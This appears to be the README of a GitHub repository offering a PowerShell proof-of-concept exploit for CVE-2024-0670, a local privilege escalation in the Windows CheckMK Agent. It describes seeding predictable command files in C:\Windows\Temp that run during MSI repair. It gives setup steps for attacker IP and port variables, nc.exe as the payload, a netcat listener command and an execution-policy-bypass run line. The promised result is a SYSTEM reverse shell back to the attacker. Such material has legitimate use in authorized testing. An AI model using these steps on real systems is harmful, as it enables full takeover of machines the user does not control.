
CheckMK Agent Local Privilege Escalation (PoC)
This repository presents an independent PowerShell proof of concept for CVE-2024-0670, a Windows local privilege escalation vulnerability in the CheckMK Agent. The vulnerability allows a low-privileged local user to escalate to NT AUTHORITY\SYSTEM by exploiting predictable command file execution during an MSI repair process.
This implementation is a derivative analysis of the publicly available PoC by elsevar11 at CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit; it reuses core concepts while offering a streamlined exploitation logic.
Original reference:
https://github.com/elsevar11/CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit/blob/main/exploit.ps1
During MSI repair, the installer executes files in C:\Windows\Temp with predictable names. An unprivileged user can pre-seed controlled payloads that will subsequently be executed with elevated privileges.
| Filename | Description |
|---|---|
exploit.ps1 | PowerShell PoC implementation |
README.md | Documentation and usage |
LICENSE | MIT License |
C:\Windows\Temp\Adjust the following parameters as needed:
$LHOST # Attacker IP
$LPORT # Attacker port
$NcPath # Path to payload (e.g., nc.exe)
$MinPID # Lower bound for file seeding
$MaxPID # Upper bound for file seeding
nc -lvnp <PORT>
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\exploit.ps1
SYSTEM shell will be spawned back to your listener if exploitation is successful.
The exploitation approach — enumerating MSI packages, seeding predictable filenames, and invoking an MSI repair — is informed by the PoC originally published by elsevar11 on GitHub. This repository adapts that logic into an alternate PowerShell formulation for clarity and research reproducibility.
This code is provided solely for educational, defensive engineering, and authorized testing. Use against systems without explicit permission is unlawful. The author assumes no responsibility for misuse or legal consequences. License
This repository is released under the MIT License.